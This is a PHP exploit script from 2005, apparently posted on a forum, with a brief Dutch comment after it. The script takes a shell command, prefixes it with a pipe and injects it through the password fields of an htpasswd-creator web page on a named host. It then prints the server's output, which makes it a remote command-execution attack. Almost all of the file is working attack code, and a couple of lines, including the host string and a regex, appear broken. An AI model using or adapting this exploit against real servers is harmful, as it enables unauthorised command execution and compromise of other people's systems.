#!/usr/local/bin/php
<?
// 2005, Narotic says hi
// change top line to your path to php (e.g. /usr/bin/php on most linux distro's)
// http methods
define("HTTPGET", 1);
define("HTTPPOST", 2);
define("NEWLINE", "\n");
if($argc != 2) {
die("Usage: ./x-ploit.php command" . NEWLINE);
}
$command = "| " . $argv[1];
echo "Command: $command" . NEWLINE;
$command = urlencode($command);
$uri = "/htpasswdcreator/index.php?output=1";
$host = "
www.x-ploit.nl";
$form = array();
$form['username'] = "X-Ploit";
$form['password'] = $command;
$form['repassword'] = $command;
$message = httpquery($host, $uri, $form, HTTPPOST);
$pattern = "/<td width='497'
.*?)<b>/s";
preg_match($pattern, $message, $matches, PREG_OFFSET_CAPTURE);
$response = $matches[1][0];
echo "----- RESPONSE -----" . NEWLINE;
echo $response . NEWLINE;
echo "----- BYE BYE -----" . NEWLINE;
/*
function: httpquery
parameters:
host: the host to which a socket has to be opened
uri: the unified resource identifier
form: an associative array containing variable-value pairs
method: HTTPPOST (2) or HTTPGET (1)
returns: the response of the host
remarks: make sure you define HTTPPOST and HTTPGET
*/
function httpquery($host, $uri, $form, $method = 1, $addheader = "") {
// open socket at port 80
$fp = @pfsockopen($host, 80, $errno, $errstr, 5);
if(!$fp) {
// return null if no socket is present
return null;
}
// init data to empty string
$data = "";
// add each key val pair
foreach($form as $key => $val) {
$data .= "$key=$val&";
}
// cut last &
$data = substr($data, 0, -1);
if($method == HTTPGET) {
$mtd = "GET";
$uri = $uri . "?" . $data;
$data = "";
} else {
$mtd = "POST";
}
// build header and data
$out = "$mtd $uri HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Accept: */*\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Content-length: " . strlen($data) . "\r\n";
$out .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1)';
$out .= "Gecko/20021204\r\n";
$out .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$out .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$out .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$out .= "Accept-Language: en-us, en;q=0.50\r\n";
$out .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$out .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Cache-Control: max-age=0\r\n";
$out .= "Connection: Close\r\n";
$out .= $addheader;
$out .= "\r\n";
$out .= $data;
fwrite($fp, $out);
stream_set_timeout($fp, 2);
$in = "";
while(!feof($fp)) {
$in .= fgets($fp, 1024);
}
// check for transfer-encoding is chunked
if(strpos($in, "Transfer-Encoding: chunked") !== false) {
$pos = strpos($in, "\r\n\r\n") + 4;
$in = substr($in, 0, $pos) . decodeChunked(substr($in, $pos));
}
fclose($fp);
return $in;
}
/*
function: decodeChunked
parameters:
buffer: data to be dechunked
returns: the decoded data
*/
function decodeChunked($buffer) {
// length := 0
$length = 0;
$new = '';
// read chunk-size, chunk-extension (if any) and CRLF
// get the position of the linebreak
$chunkend = strpos($buffer,"\r\n") + 2;
$temp = substr($buffer,0,$chunkend);
$chunk_size = hexdec( trim($temp) );
$chunkstart = $chunkend;
while ($chunk_size > 0) {
$chunkend = strpos( $buffer, "\r\n", $chunkstart + $chunk_size);
// Just in case we got a broken connection
if ($chunkend == FALSE) {
$chunk = substr($buffer,$chunkstart);
// append chunk-data to entity-body
$new .= $chunk;
$length += strlen($chunk);
break;
}
// read chunk-data and CRLF
$chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart);
// append chunk-data to entity-body
$new .= $chunk;
// length := length + chunk-size
$length += strlen($chunk);
// read chunk-size and CRLF
$chunkstart = $chunkend + 2;
$chunkend = strpos($buffer,"\r\n",$chunkstart)+2;
if ($chunkend == FALSE) {
break; //Just in case we got a broken connection
}
$temp = substr($buffer,$chunkstart,$chunkend-$chunkstart);
$chunk_size = hexdec( trim($temp) );
$chunkstart = $chunkend;
}
// Update headers
return $new;
}
?>
intresant jammer dat het geen class is wie weet als ik een keer niks te doen heb
![:\](https://static.partyflock.nl/smiley/hmmzz_streep.png ":\"){kind=small}
